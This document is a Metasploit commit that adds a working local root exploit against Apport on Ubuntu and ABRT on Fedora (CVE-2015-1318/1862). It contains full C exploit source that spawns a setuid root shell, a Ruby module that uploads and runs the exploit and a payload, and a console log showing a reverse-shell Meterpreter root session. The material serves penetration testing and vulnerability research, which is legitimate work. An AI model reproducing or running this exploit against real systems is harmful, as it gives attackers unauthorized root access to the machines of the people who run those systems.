Land #9399 a linux priv esc against apport and abrt

This commit is contained in:
h00die 2018-02-01 21:54:54 -05:00
commit 7cb0a118c1
No known key found for this signature in database
GPG Key ID: C5A9D25D1457C971
4 changed files with 401 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,143 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
//
// Apport/Abrt Vulnerability Demo Exploit.
//
// Apport: CVE-2015-1318
// Abrt: CVE-2015-1862
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ gcc -static newpid.c
// $ ./a.out
// uid=0(root) gid=0(root) groups=0(root)
// sh-4.3# exit
// exit
//
// Hint: To get libc.a,
// yum install glibc-static or apt-get install libc6-dev
//
//
// Modified for Metasploit. Original exploit:
// - https://www.exploit-db.com/exploits/36746/
//
int main(int argc, char **argv)
{
int status;
pid_t wrapper;
pid_t init;
pid_t subprocess;
unsigned i;
// If we're root, then we've convinced the core handler to run us,
// so create a setuid root executable that can be used outside the chroot.
if (getuid() == 0) {
if (chown("sh", 0, 0) != 0)
exit(EXIT_FAILURE);
if (chmod("sh", 04755) != 0)
exit(EXIT_FAILURE);
return EXIT_SUCCESS;
}
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
// a shell and cleanup.
if (setuid(0) == 0) {
system("id");
system("rm -rf exploit");
execlp("sh", "sh", NULL);
// Something went wrong.
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
}
// It looks like the exploit hasn't run yet, so create a chroot.
if (mkdir("exploit", 0755) != 0
|| mkdir("exploit/usr", 0755) != 0
|| mkdir("exploit/usr/share", 0755) != 0
|| mkdir("exploit/usr/share/apport", 0755) != 0
|| mkdir("exploit/usr/libexec", 0755) != 0) {
err(EXIT_FAILURE, "failed to create chroot directory");
}
// Create links to the exploit locations we need.
if (link(*argv, "exploit/sh") != 0
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
err(EXIT_FAILURE, "failed to create required hard links");
}
// Create a subprocess so we don't enter the new namespace.
if ((wrapper = fork()) == 0) {
// In the child process, create a new pid and user ns. The pid
// namespace is only needed on Ubuntu, because they check for %P != %p
// in their core handler. On Fedora, just a user ns is sufficient.
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
err(EXIT_FAILURE, "failed to create new namespace");
// Create a process in the new namespace.
if ((init = fork()) == 0) {
// Init (pid 1) signal handling is special, so make a subprocess to
// handle the traps.
if ((subprocess = fork()) == 0) {
// Change /proc/self/root, which we can do as we're privileged
// within the new namepace.
if (chroot("exploit") != 0) {
err(EXIT_FAILURE, "chroot didnt work");
}
// Now trap to get the core handler invoked.
__builtin_trap();
// Shouldn't happen, unless user is ptracing us or something.
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
}
// If the subprocess exited with an abnormal signal, then everything worked.
if (waitpid(subprocess, &status, 0) == subprocess)
return WIFSIGNALED(status)
? EXIT_SUCCESS
: EXIT_FAILURE;
// Something didn't work.
return EXIT_FAILURE;
}
// The new namespace didn't work.
if (waitpid(init, &status, 0) == init)
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
? EXIT_SUCCESS
: EXIT_FAILURE;
// Waitpid failure.
return EXIT_FAILURE;
}
// If the subprocess returned sccess, the exploit probably worked,
// reload with euid zero.
if (waitpid(wrapper, &status, 0) == wrapper) {
// All done, spawn root shell.
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
execl(*argv, "w00t", NULL);
}
}
// Unknown error.
errx(EXIT_FAILURE, "unexpected result, cannot continue");
}

View File

@ -0,0 +1,73 @@
## Description
This module attempts to gain root privileges on Ubuntu and Fedora systems by invoking the default coredump handler inside a namespace ("container").
## Vulnerable Application
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are vulnerable, due to a feature which allows forwarding reports to a container's Apport by changing the root directory before loading the crash report, causing `usr/share/apport/apport` within the crashed task's directory to be executed.
Similarly, Fedora is vulnerable when the kernel crash handler is configured to change root directory before executing ABRT, causing `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be executed. Fedora's crash handler was reportedly configured to chroot ABRT by default between April and August 2014.
In both instances, the crash handler does not drop privileges, resulting in code execution as root.
This module has been tested successfully on:
* Apport 2.14.1 on Ubuntu 14.04.1 LTS x86 and x86_64
* ABRT on Fedora 19 and 20 x86_64
To test Fedora 20, disable SELinux, reboot, and modify `/proc/sys/kernel/core_pattern` to make use of the vulnerable `core_pattern` : `|/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e`
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/linux/local/apport_abrt_chroot_priv_esc`
4. Do: `set SESSION [SESSION]`
5. Do: `check`
6. Do: `run`
7. You should get a new root session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
```
msf > use exploit/linux/local/apport_abrt_chroot_priv_esc
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > set session 1
session => 1
msf exploit(linux/local/apport_abrt_chroot_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.244:4444
[*] Writing '/tmp/.drY6cJZ' (887316 bytes) ...
[*] Writing '/tmp/.LtJvrgjXq' (207 bytes) ...
[*] Launching exploit...
[+] Upgraded session to root privileges ('uid=0(root) gid=1000(user) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(user)')
[*] Sending stage (857352 bytes) to 172.16.191.252
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.252:35552) at 2018-01-11 09:58:25 -0500
[+] Deleted /tmp/.drY6cJZ
[+] Deleted /tmp/.LtJvrgjXq
meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer : 172.16.191.252
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,185 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apport / ABRT chroot Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by
invoking the default coredump handler inside a namespace ("container").
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
vulnerable, due to a feature which allows forwarding reports to
a container's Apport by changing the root directory before loading
the crash report, causing 'usr/share/apport/apport' within the crashed
task's directory to be executed.
Similarly, Fedora is vulnerable when the kernel crash handler is
configured to change root directory before executing ABRT, causing
'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
executed.
In both instances, the crash handler does not drop privileges,
resulting in code execution as root.
This module has been tested successfully on Apport 2.14.1 on
Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stéphane Graber', # Independent discovery, PoC and patch
'Tavis Ormandy', # Independent discovery and C exploit
'Ricardo F. Teixeira', # shell exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'Mar 31 2015',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
[ 'CVE', '2015-1318' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
# Exploits
[ 'EDB', '36782' ],
[ 'EDB', '36746' ],
[ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
# ABRT (Fedora)
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
# Apport (Ubuntu)
[ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
[ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir']
end
def check
kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first
if kernel_version < Gem::Version.new('3.12')
vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{kernel_version} is vulnerable"
kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'
# Vulnerable core_pattern (abrt):
# kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
# Patched systems no longer preface the command with /usr/sbin/chroot
# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
vprint_good 'System is configured to chroot ABRT for crash reporting'
return CheckCode::Vulnerable
end
# Vulnerable core_pattern (apport):
# kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
if kernel_core_pattern.include? 'apport'
vprint_good 'System is configured to use Apport for crash reporting'
res = cmd_exec 'apport-cli --version'
if res.blank?
vprint_error 'Apport is NOT installed'
return CheckCode::Safe
end
apport_version = Gem::Version.new(res.split('-').first)
if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')
vprint_good "Apport version #{apport_version} is vulnerable"
return CheckCode::Vulnerable
end
vprint_error "Apport version #{apport_version} is NOT vulnerable"
return CheckCode::Safe
end
vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'
CheckCode::Safe
end
def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end
def exploit
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
# Upload Tavis Ormandy's newpid exploit:
# - https://www.exploit-db.com/exploits/36746/
# Cross-compiled with:
# - i486-linux-musl-cc -static newpid.c
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
fd = ::File.open path, 'rb'
executable_data = fd.read fd.stat.size
fd.close
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx executable_path, executable_data
# Upload payload executable
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
# newpid writes an 'exploit' directory
# which must be removed manually if exploitation fails
register_dir_for_cleanup "#{base_dir}/exploit"
# Change working directory to base_dir,
# allowing newpid to create the required hard links
cmd_exec "cd '#{base_dir}'"
print_status 'Launching exploit...'
output = cmd_exec executable_path
output.each_line { |line| vprint_status line.chomp }
# Check for root privileges
id = cmd_exec 'id'
unless id.include? 'root'
fail_with Failure::Unknown, 'Failed to gain root privileges'
end
print_good 'Upgraded session to root privileges'
vprint_line id
# Execute payload executable
vprint_status 'Executing payload...'
cmd_exec payload_path
end
end